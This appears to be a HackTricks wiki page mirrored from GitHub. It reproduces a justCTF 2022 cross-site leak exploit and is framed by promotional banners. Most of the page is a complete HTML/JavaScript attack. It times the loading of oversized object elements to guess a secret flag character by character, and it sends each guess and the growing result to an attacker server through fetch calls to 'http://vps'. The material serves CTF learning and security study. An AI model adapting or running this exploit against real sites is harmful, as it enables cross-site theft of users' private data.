mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
131 lines
6.1 KiB
Markdown
131 lines
6.1 KiB
Markdown
# performance.now + Force heavy task
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
|
||
|
||
In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
|
||
|
||
{% hint style="warning" %}
|
||
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
|
||
{% endhint %}
|
||
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
|
||
</head>
|
||
<body>
|
||
<img src="https://deelay.me/30000/https://example.com">
|
||
<script>
|
||
fetch('https://deelay.me/30000/https://example.com')
|
||
|
||
function send(data) {
|
||
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
|
||
}
|
||
|
||
function leak(char, callback) {
|
||
return new Promise(resolve => {
|
||
let ss = 'just_random_string'
|
||
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
|
||
let start = performance.now()
|
||
let object = document.createElement('object');
|
||
object.width = '2000px'
|
||
object.height = '2000px'
|
||
object.data = url;
|
||
object.onload = () => {
|
||
object.remove()
|
||
let end = performance.now()
|
||
resolve(end - start)
|
||
}
|
||
object.onerror = () => console.log('Error event triggered');
|
||
document.body.appendChild(object);
|
||
})
|
||
|
||
}
|
||
|
||
send('start')
|
||
|
||
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
|
||
let flag = 'justCTF{'
|
||
|
||
async function main() {
|
||
let found = 0
|
||
let notFound = 0
|
||
for(let i=0;i<3;i++) {
|
||
await leak('..')
|
||
}
|
||
for(let i=0; i<3; i++) {
|
||
found += await leak('justCTF')
|
||
}
|
||
for(let i=0; i<3; i++) {
|
||
notFound += await leak('NOT_FOUND123')
|
||
}
|
||
|
||
found /= 3
|
||
notFound /= 3
|
||
|
||
send('found flag:'+found)
|
||
send('not found flag:'+notFound)
|
||
|
||
let threshold = found - ((found - notFound)/2)
|
||
send('threshold:'+threshold)
|
||
|
||
if (notFound > found) {
|
||
return
|
||
}
|
||
|
||
// exploit
|
||
while(true) {
|
||
if (flag[flag.length - 1] === '}') {
|
||
break
|
||
}
|
||
for(let char of charset) {
|
||
let trying = flag + char
|
||
let time = 0
|
||
for(let i=0; i<3; i++) {
|
||
time += await leak(trying)
|
||
}
|
||
time/=3
|
||
send('char:'+trying+',time:'+time)
|
||
if (time >= threshold) {
|
||
flag += char
|
||
send(flag)
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
main()
|
||
|
||
</script>
|
||
</body>
|
||
|
||
</html>
|
||
```
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|